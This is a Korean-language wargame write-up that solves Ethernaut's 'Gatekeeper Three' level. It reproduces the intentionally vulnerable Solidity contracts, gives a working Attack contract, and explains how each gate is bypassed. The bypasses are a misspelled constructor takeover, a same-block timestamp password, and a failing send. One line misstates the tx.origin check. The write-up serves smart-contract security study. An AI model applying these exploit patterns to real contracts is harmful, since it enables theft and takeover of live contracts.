[Ethernaut] 28. Gatekeeper Three

Ethernaut · 29/36
  1. 0. Hello Ethernaut
  2. 1. Fallback
  3. 2. Fallout
  4. 3. CoinFlip
  5. 4. Telephone
  6. 5. Token
  7. 6. Delegation
  8. 7. Force
  9. 8. Vault
  10. 9. King
  11. 10. Re-entrancy
  12. 11. Elevator
  13. 12. Privacy
  14. 13. Gatekeeper One
  15. 14. Gatekeeper Two
  16. 15. Naught Coin
  17. 16. Preservation
  18. 17. Recovery
  19. 18. MagicNumber
  20. 19. Alien Codex
  21. 20. Denial
  22. 21. Shop
  23. 22. Dex
  24. 23. Dex Two
  25. 24. Puzzle Wallet
  26. 25. Motorbike
  27. 26. DoubleEntryPoint
  28. 27. Good Samaritan
  29. 28. Gatekeeper Three
  30. 29. Switch
  31. 30. HigherOrder
  32. 31. Stake
  33. 32. Impersonator
  34. 33. Magic Animal Carousel
  35. 34. Bet House
  36. 35. Elliptic Token

1. 문제

Cope with gates and become an entrant.

Things that might help:

- Recall return values of low-level functions.
- Be attentive with semantic.
- Refresh how storage works in Ethereum.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }
    
  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }
    
  function trickInit() public {
    trick = address(this);
  }
    
  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allowEntrance;

  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allowEntrance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree {
    entrant = tx.origin;
  }

  receive () external payable {}
}

2. 풀이

 지금껏 풀어왔던 문제들의 총괄 편입니다. 다음 컨트랙트를 사용해 문지기를 뚫어보겠습니다.

contract Attack {
    GatekeeperThree public gate;

    constructor(address payable _gate) {
        gate = GatekeeperThree(_gate);
    }

    function attack() external payable {
        require(msg.value > 0.001 ether);

        (bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
        require(ok);

        gate.construct0r(); // owner = address(this) -> gate 1
        gate.createTrick(); // create trick
        gate.getAllowance(block.timestamp); // allowEntrance = true -> gate 2

        gate.enter(); // pass gates
    }

    // should not receive ether from other to pass gate 3
    // receive() external payable {} 
}

 GatekeeperThree 인스턴스의 주소를 인수로 사용하여 컨트랙트를 배포합니다.

 attack 함수를 실행합니다. 이때 0.001 이더를 초과하는 양의 이더를 함께 보냅니다.

 트랜잭션이 컨펌되고 나면 entrant 값이 자신의 주소로 변한 것을 확인할 수 있습니다.

 인스턴스를 제출하고 마무리합니다.


3. 공격 과정 풀이

0. GatekeeperThree 컨트랙트의 상태 변수는 다음과 같이 선언되어 있습니다. 이 값들은 모두 zero value로 초기화되어 있습니다.

address public owner; // 0x00
address public entrant; // 0x00
bool public allowEntrance; // false

SimpleTrick public trick; // 0x00

1. attack 함수를 실행합니다.

function attack() external payable {
    require(msg.value > 0.001 ether);

    (bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
    require(ok);

    gate.construct0r(); // owner = address(this) -> gate 1
    gate.createTrick(); // create trick
    gate.getAllowance(block.timestamp); // allowEntrance = true -> gate 2

    gate.enter(); // pass gates
}

2. 메시지에 포함된 이더가 0.001을 초과하는지 확인하고 이를 GatekeeperThree 인스턴스에게 전송합니다. GatekeeperThree 컨트랙트에는 fallback 함수가 정의되어 있으므로 문제없이 이더를 받습니다.

require(msg.value > 0.001 ether);

(bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
require(ok);
receive () external payable {}

3. GatekeeperThree 컨트랙트의 contruct0r 함수를 실행합니다. 이름과 에서 알 수 있다시피 생성자 함수로 사용하기 위해 선언하였지만, 철자를 틀리는 바람에 누구나 호출하여 owner가 될 수 있는 함수로 전락해 버렸습니다. 이제 GatekeeperThree 컨트랙트의 주인은 Attack 컨트랙트가 되었습니다.

gate.construct0r();
function construct0r() public {
    owner = msg.sender;
}

4. GatekeeperThree 컨트랙트의 createTrick 함수를 호출하여 SimpleTrick 인스턴스를 생성합니다.

gate.createTrick();
function createTrick() public {
  trick = new SimpleTrick(payable(address(this)));
  trick.trickInit();
}
function trickInit() public {
  trick = address(this);
}

5. GatekeeperThree 컨트랙트의 getAllowance 함수를 호출합니다. 이때 인수로 block.timestamp를 넘겨줍니다.

gate.getAllowance(block.timestamp);
function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
}
function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
        return true;
    }
    password = block.timestamp;
    return false;
}

 block.timestamp를 _password로 사용하는 이유는 SimpleTrick 인스턴스가 생성될 때 password가 block.timestamp로 초기화되기 때문입니다. 인스턴스 생성과 getAllowance 함수 호출이 attack이라는 하나의 함수, 나아가 하나의 트랜잭션 그리고 하나의 블록에 포함되므로 결과적으로 _password와 password는 동일한 값으로, GatekeeperThree 인스턴스의 allowEntrance 값은 true로 변경됩니다.

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;
  
  ...
}

6. 마지막으로 GatekeeperThree 컨트랙트의 enter 함수를 호출합니다.

gate.enter();
function enter() public gateOne gateTwo gateThree {
  entrant = tx.origin;
}

 먼저 첫 번째 관문에 멈춰 섭니다. 앞서 owner를 Attack 컨트랙트의 주소로 설정했기 때문에 msg.sender = owner가 성립합니다. 이어서 tx.origin은 사용자의 계정 주소고 owner는 컨트랙트 주소이므로 tx.origin = owner 또한 성립합니다. 이렇게 첫 번째 관문을 통과합니다.

modifier gateOne() {
  require(msg.sender == owner);
  require(tx.origin != owner);
  _;
}

 두 번째 관문입니다. 앞서 SimpleTrick 인스턴스를 생성하고 비밀번호를 맞춰서 GatekeeperThree 인스턴스의 allowEntrance를 true로 설정해 놓았습니다. 두 번째 관문 또한 가볍게 통과합니다.

modifier gateTwo() {
  require(allowEntrance == true);
  _;
}

 세 번째 관문입니다. attack 함수를 호출하는 초반부에서 Gatekeeper 인스턴스로 0.001을 초과하는 이더를 전송하여 인스턴스의 잔액을 늘려 놓았으므로 첫 번째 조건을 만족합니다. 두 번째 조건은 owner인 Attack 컨트랙트에게 0.001 이더를 전송하는 것이 실패해야 합니다. 이 경우는 Attack 컨트랙트에 fallback 함수가 정의되어 있지 않기 때문에 selfdestruct를 사용하여 강제로 잔액을 이동시키는 것이 아닌 이상 send나 transfer를 사용하여 이더를 전송하는 것은 불가능합니다. 따라서 두 번째 조건 또한 만족하여 세 번째 관문을 통과할 수 있습니다. 

modifier gateThree() {
  if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
    _;
  }
}
// receive() external payable {}

 결과적으로 entrant 값은 tx.origin, 사용자의 계정 주소로 설정이 됩니다.

entrant = tx.origin;